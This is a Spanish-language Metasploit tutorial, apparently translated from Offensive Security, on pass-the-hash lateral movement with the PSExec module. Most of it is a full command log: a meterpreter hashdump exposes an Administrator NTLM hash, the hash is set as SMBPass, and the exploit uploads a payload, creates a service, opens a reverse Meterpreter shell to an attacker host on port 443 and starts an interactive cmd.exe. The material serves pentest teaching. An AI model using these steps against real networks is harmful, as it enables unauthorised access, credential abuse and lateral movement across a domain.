PSExec Pass the Hash
De www.metasploit-es.com.ar
PSExec Pass the Hash
Un módulo que no es muy conocido es la capacitad de ejecutar PSEXEC en Metasploit. El módulo de PSEXEC es a menudo usado por Pentesters para obtener acceso a un sistema, siendo que este ya conoce sus credenciales. Este módulo fue escrito por Sysinternals y se ha integrado en el Framework. Los pentesters solemos, ó hemos ,logrado tener completo acceso a un sistema a través de algunos exploits, utilizando meterpreter para agarrar las contraseñas u otros métodos como fgdump, pwdump, o cachedump y utilizando el rainbowtables para crackear los valores hash.
Tambien tenemos otras opciones, como por ejemplo pasar el hash a través de herramientas como el iam.exe. Un gran método de PSEXEC en Metasploit es que le permite introducir la contraseña en si, solo con los valores. O sea simplemente basta con especificar los valores del hash, no hay necesidad de cracks para obtener acceso al sistema. Ahora vamos a pensar profundamente acerca de cómo podemos utilizar este tipo de ataque para continuar con la penetración.
Decirte primero que comprometer un sistema que tiene una contraseña de administrado, no necesita crack con PSEXEC porque este nos permite utilizar solamente los valores hash, esa cuenta de administrador será la misma en cada cuenta dentro de la infraestructura del dominio. Ahora podemos pasar de un sistema a otro sin tener que preocuparte de tener que crackear nada. Una nota muy importante sobre esto es que si NTLM sólo está disponible (por ejemplo, su contraseña es de 15 caracteres o + a través de GPO que especifican respuestas NTLM solamente) , basta con sustituir el ****NOPASSWORD**** por 32 0's, por ejemplo:
******NOPASSWORD*******:8846f7eaee8fb117ad06bdd830b7586c Would be replaced by: 00000000000000000000000000000000:8846f7eaee8fb117ad06bdd830b7586c
[*] Meterpreter session 1 opened (192.168.57.139:443 -> 192.168.57.131:1042) meterpreter > use priv Loading extension priv...success. meterpreter > hashdump Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: meterpreter >
Ahora que tenemos una consola Meterpreter y los hash´s dumpeados , podemos conectarnos a las diferentes víctimas utilizando PSEXEC y los valores hash solamente.
root@bt4:/pentest/exploits/framework3# ./msfconsole
_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|
=[ metasploit v3.3-rc1 [core:3.3 api:1.0]
+ -- --=[ 412 exploits - 261 payloads
+ -- --=[ 21 encoders - 8 nops
=[ 191 aux
msf > search psexec
[*] Searching loaded modules for pattern 'psexec'...
Exploits
========
Name Description
---- -----------
windows/smb/psexec Microsoft Windows Authenticated User Code Execution
windows/smb/smb_relay Microsoft Windows SMB Relay Code Execution
msf > use windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.57.133
LHOST => 192.168.57.133
msf exploit(psexec) > set LPORT 443
LPORT => 443
msf exploit(psexec) > set RHOST 192.168.57.131
RHOST => 192.168.57.131
msf exploit(psexec) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.57.131 yes The target address
RPORT 445 yes Set the SMB service port
SMBPass no The password for the specified username
SMBUser Administrator yes The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST 192.168.57.133 yes The local address
LPORT 443 yes The local port
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
SMBPass => e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
[*] Connecting to the server...
[*] Started reverse handler
[*] Authenticating as user 'Administrator'...
[*] Uploading payload...
[*] Created \KoVCxCjx.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.131[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.131[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (XKqtKinn - "MSSeYtOQydnRPWl")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \KoVCxCjx.exe...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.57.133:443 -> 192.168.57.131:1045)
meterpreter > execute -f cmd.exe -i -c -H
Process 3680 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>
Eso es todo! Hemos logrado conectar en un equipo independiente con las mismas credenciales, sin tener que preocuparnos de rainbowtables o de craquear la contraseña. Aprovecho para agradecer a "Chris Gates" por la documentación sobre este tema.
© Offensive Security 2009
Original by www.offensive-security.com Traslated by FreeInfo